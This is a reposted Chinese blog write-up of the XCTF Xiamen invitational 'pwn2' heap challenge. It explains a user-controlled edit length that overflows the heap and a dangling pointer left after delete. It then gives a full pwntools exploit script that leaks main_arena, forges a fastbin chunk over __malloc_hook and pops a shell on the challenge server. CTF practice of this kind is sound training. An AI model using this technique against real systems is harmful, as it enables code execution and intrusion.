本文主要是介绍厦门邀请赛 pwn2 XCTF,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
这个题 看起来是一个无懈可击的堆题
典型的 堆菜单题 然后看一下函数里面有没有什么利用的点
这里 感觉没有什么利用的点 然后我们往下看
这里的修改长度是我们自己输入 也就是我们自己定的 长度 那么我们就可以 实现堆块任意输入
然后继续往下看
这里可以有些麻烦 输出的内容长度被限定在了 一开始的堆块大小 这个 可能需要一些绕过
然后看一下 dele
其实dele 这里做的已经很不错了 但是也是没有把用户指针给 清理掉
那么 我们就 get到了这个题的姿势
首先可以任意读写 堆块 然后可以又没有清理用户指针 然后我们可以 伪造堆块 绕过堆块大小
然后可以 填充 00 然后 可以 打印main_arena 然后直接一把梭就可以了
#!/usr/bin/python2
# -*- coding:utf-8 -*-from pwn import*
context.log_level="debug"
io=remote('111.198.29.45',43812)
#io=process("./babyheap")
elf=ELF("./babyheap")
libc=ELF("./libc-2.23.so")
one_gadget_addr= 0x4526a
def add(size,content):io.recvuntil(">> ")io.sendline("1")io.sendline(str(size))io.send(content)def edit(index,size,content):io.recvuntil(">> ")io.sendline("2")io.sendline(str(index))io.sendline(str(size))io.send(content)def show(index):io.recvuntil(">> ")io.sendline("3")io.sendline(str(index))def dele(index):io.recvuntil(">> ")io.sendline("4")io.sendline(str(index))if __name__ =='__main__':add(0x20,'a'*0x20)add(0x80,'b'*0x80)add(0x80,'c'*0x80)add(0x80,'c'*0x80)dele(1)payload='a'*0x20+p64(0)+p64(0x121)edit(0,len(payload),payload)payload='b'*0x80+p64(0)+p64(0x91)+'e'*0x80add(0x110,payload)dele(2)#gdb.attach(io)show(1)io.recvuntil('\x91\x00\x00\x00\x00\x00\x00\x00')main_arena_addr=u64(io.recv(6).ljust(8, '\x00'))-88log.success("main_arena_addr"+hex(main_arena_addr))libc_base_addr=main_arena_addr-0x3C4B20log.success("libc_base_addr"+hex(libc_base_addr))one_gadget_addr=one_gadget_addr +libc_base_addrfake_chunk_addr=main_arena_addr-0x33add(0x60,'d'*0x60)add(0x60,'d'*0x60)dele(4)payload='d'*0x80+p64(0)+p64(0x71)+p64(fake_chunk_addr)edit(3,len(payload),payload)add(0x60,'d'*0x60)payload=0x13 * 'a'+p64(one_gadget_addr)add(0x60,payload.ljust(0x60,'a'))#gdb.attach(io)add(0x90,'s'*0x90)io.interactive()io.close()
这篇关于厦门邀请赛 pwn2 XCTF的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!